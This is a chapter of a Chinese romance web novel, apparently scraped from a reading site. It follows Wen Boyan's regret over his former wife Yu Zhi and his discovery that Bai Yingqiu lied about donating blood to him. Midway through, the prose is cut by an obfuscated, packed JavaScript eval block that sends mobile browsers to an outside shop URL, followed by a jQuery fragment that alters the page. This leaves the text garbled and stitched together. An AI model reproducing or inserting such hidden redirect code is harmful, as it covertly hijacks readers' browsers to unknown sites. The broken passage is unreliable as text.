被骂睁眼瞎的人，在剧院看舞台剧那天没瞎，所以其实一早就看到余芷了。
入场的人群中，一颗头一颗头的晃动里，他以为看错了，出现幻视了。
他看见一个熟悉的身影，背脊单薄，动作轻，走路的动作不疾不徐。脸上笑着，嘴唇抿起。稍侧脸，转回去，隐入一个陌生的人影里。
再看到，脸上的笑容就没了，嘴巴也不抿了，眼梢的笑也没了，与一开始那张乐呵呵的脸判若两人。
再看，脸上不止笑容消失，已经有了明显的不高兴。
尤其是他回头看去的时候，隔着层层人头，她用眼刀跟他交流。
他确定了余芷的确存在于这个空间，但这个有别于想象中的人有自己的思想，所以还拿那张见了鬼的脸对他。
他对她不好，欺负他，从来没有尊重过她，她受了这么多委屈，却也没从他身上捞到过多少好处。
情况的确是这样的？
整场演出闻博延都在琢磨这个问题。
场上的演员在走位，他也在独自一个人的世界里游走，周围一片黑，一片空无，他最后走到了一个从未站过的角度上看起了这个问题。
节目结束，她在前，走得很快，是生怕被他拦住的样子。
她的那几根细手指牵着旁人，没有穿羽绒服，穿了件浅色大衣。头发扎得松，垂在脑后，是故意打扮的样式吧？从前在他眼前她也不少打扮，打扮与不打扮的区别就是人变鲜艳了些，眉眼也更深。
距离最近的时候，他看到她脖子上那颗小痣。
碎发遮掩，若隐若现。
只是一刻，看到那颗小痣的一刻，闻博延胸腔里涌出一股冲动。
想把什么攥紧。
想用什么填填胸腔里一股股的空。
这股空是什么？
是余芷。
他想把人拽过来，拉到面前，想跟她说说话，想她好好抬起脸来，让他能看看这张他熟悉的脸，熟悉的眼睛。最好是能对他笑笑，笑得像从前那些高兴的时候那张脸重合。
不要用这副冷冰冰的后脑勺对着他。
闻博延垂在身侧的手指紧攥成拳。
他后悔今天的局面了。
但事情已经过去半年了。
正是在闻博延恍惚的无以复加的这一刻，白映秋从他身边跌了下去，摔得头破血流。
-
南山，初春的梨花开了几树，老太太在别墅的花厅里煮花茶，晒太阳。
原本惬意的一天，立刻因为下边的人拿了一份同城快递给她而变了脸色。
包裹皮被老太太撇在一边，包裹里薄薄的一张纸被老太太一叠折了起来。
她这是在掩藏什么不能让旁人看到的秘密。
打发身边的人走开，她才给闻博延打了电话。
这两天闻博延都不在南山，因为老太太的一再安排，最终促成了那天剧院的行程。一行年轻人一起进城，最后是白家两姐妹单独跟了闻博延进了剧院。
也弄巧成拙地促成了白映秋跌的那一跤。
并这一张检验报告。
闻博延当年车祸躺进抢救室，是白映秋及时站出来给他献了血。人的性命到了危在旦夕的时刻，如果那一刻没有及时的那袋血，人没了这种事不是没有可能的。
就像谁被一块果冻堵住了气管，只一个小急救，人就可以没事了，但要没有，活生生的人也可以说没就没了。
老太太深刻地明白这个道理，所以有多重视失而复得的孙儿，也就有多感激白映秋。
何况两家原本交好，也正因如此，在闻博延车祸原因没有查明的情况下，才会秘密送进白家姑爷的医院。
也因此将白映秋放在心尖尖上喜欢，想尽办法的撮合她和闻博延。
但是老太太收到的这张检验报告上白映秋的血型为什么会是大众的A型血。
“你给我寄的这张纸是什么意思？”
“写得不够清楚吗。”闻博延声音暗淡，也没有心情。
“这报告是哪儿来的？”
“报告上有检测单位名称。”
“博延呐，大过年的你不要跟我开这种玩笑。”
“我倒想问问，是不是您在跟我开玩笑。还是……是他们在跟我开玩笑，这么多年把我耍得团团转。”
“……”
老太太的心被闻博延暗沉里带着无奈、冷笑的声音刺的一个字也说不出来。
所以闻博延一直就不愿意相信，肯花钱哪能被一袋血就逼死。
哪会就需要那么一个人来救他的命。
所以他们还真就拿了血库里本就有的血，陌生的不相干的人的血，作了一笔萝卜地里赶人情的买卖，在他身上罩下一个救急救命的罩子。
闻博延心情不好，没心思哄老太太高兴。老太太这边是被这件事弄糊涂了，最后这通电话不了了之。
春节大假还没结束，御景大厦除了康武只有闻博延一个人。
白映秋的戏耍，两次戏耍，闻博延认定此生不可原谅。但这个人似乎已经忘记了，他一次又一次发生视幻的那个人，何尝没有戏耍他。
至少站在他的角落里看，余芷、余家人做过的事切实存在，并不会因为余芷的离开就消失不作数了。
而他为什么不用骨子里撇清白映秋的干脆方式同样撇清余芷，反而在对方毫不纠缠的情况下，频频找上门去。
心情不好的人从卧室进衣帽间，没病没痛没有不清醒，但他又错看了那么一个单薄的身影，系着碎花围裙蹲在地上收拾着什么。
高高的人，背脊冷，脸冷，蓝色衬衫冷。英气的眉一折，明知道不可能，他却有种想叫一次试试的冲动。
但他也知道是他自己发疯了。
清瘦的喉结在散开的冷色衬衫领口掩映下上下滚动了一番，转脸，闭了闭眼。
闻博延捏眉头拖开一道茶色玻璃门，拿出换洗衣物。
自余芷离开，这个家的一切都没有改变，大到事物的布局，小到一瓶洗手液。衣服换了人清洗、整理，但味道还是相同的味道。
其实没有区别，有的区别只在于一个人魑魅魍魉的心。
闻博延进了浴室冲澡，冲好澡出淋浴间。盥洗台上，玉石砌筑的台上台里注满水，他开始刮脸。
腰上只系着一条白色浴巾，胯骨之上的腰身，在许久没有心思健身也好、运动也罢，腰腹还是劲瘦的。
只是吃得不顺心、吃得少，身上已经少了些许漂亮饱满的肌肉块，多了些清瘦的骨骼线条。
余芷跟闻博延三年的相处里似乎总是在顺从，但也从来就顺从的拧巴。因为她只顺从她愿意顺从的，从不低头她不愿意低头的。
于闻博延而言，她最像什么？
最像他手里的这把剃须刀。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255039|135800||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>闻博延喜欢用刀片刮脸，但不止一次被刀片刮伤。也扔过，也火冒三丈过，但喜欢就是喜欢，过后还是会继续用，不计前嫌。
但刀片也不会因为他的大度而选择屈服，收起利刃不伤他。
区别只在于，剃须刀可以被他单方面的抛弃，在他想用的时候，想要重归于好的时候，又永远地任他单方面的摆弄。
但余芷这个活生生的人自然不是。
闻博延用习惯的方式刮脸，也用这几天习惯了的方式心不在焉。
镜子里空荡荡的只他一人。
再没有一个人埋着脸就在他身侧，却不愿意抬头看他，似乎他的存在，还敌不过这些台面，所以她擦了这儿擦那儿。
台面没那么脏，他也没那么不显眼，没那么不重要。但她就是不抬起脸好好看他一眼，表现出一点依恋，一点缱绻，一点没有他就不行的依赖。
余芷的人早不会再出来惹闻博延发火了，但闻博延心底这股久远的火倒因为这个念想而隐隐升起。
不过这到底是原来的那种窝火？还是郁结的其它火？
他是在生气，还是在想人。
那天在剧院里的冲动是否还在？
那天在剧院里的后悔是否还在？
余芷是不是厌恨他的不重要，余芷当初做过的事也同样不重要。
重要的是闻博延胸腔里与剧院那天同样的空洞只是一天比一天大，一天比一天凿得深，塌得恨。
最后刮脸的人再一次被刀片伤了下颌。
这次伤得挺深。
闻博延下巴上多了一道伤口康武立刻就看到了，便又是拿消毒水，又是拿沙布。五大三粗的人，倒细心得像当初的余芷，周到的要给闻博延处理伤口。
“行了，不用。”闻博延推开。
“伤口不处理，感染了很麻烦的。”
闻博延在一个人的陷阱里蓦地转脸看康武。
因为康武用了一种跟他的身材一样的五大三粗，说出了另一张长得娇滴滴的脸曾经说过的话。
闻博延没有狠拒绝了，康武二话没说上手，擦消毒水，擦药水。
康武做事还算妥帖，但做完这件事闻博延就把人打发走了。不是打发进房间，而是打发出大门，整个屋子就又只剩了他一个人喘气。
他先进房间，无所事事地抽了两香支烟，出客厅。客厅里的电视难得有人花时间坐下来好好看，从前他偶尔见过余芷坐在电视机前看节目。
窗帘深合，半壁墙的大电视点播了好几个片子，但坐在沙发前的人显然一个也没看进去，所以不停地换。
屏幕里的画面时明时暗，沙发上的人被照得时明时暗。
最后他又点了支香烟，白色烟雾爬过冷白的手腕，深色居家衫已经在与沙发的磨蹭间软皱。
沙发前的桌子上扔着一盒香烟，一只银色打火机，一部黑漆手机，一双被深色裤料包裹的长腿。
闻博延整个人是一副难得的颓唐模样，在沙发上消磨掉了整个傍晚到入夜的时候在沙发上浅寐过去。
与余芷结婚后的三年时间里，尤其是往后的日子，闻博延每次因为心绪烦躁，精神压力大而走进那个恶梦时，往往不会走得太深就有一双手将他的噩梦挥散。
但今天没了这双手，梦里的大雨就那么一直下，雨水的声音密集得将这个人的世界和其它的一切都隔离开了，让他越走越深。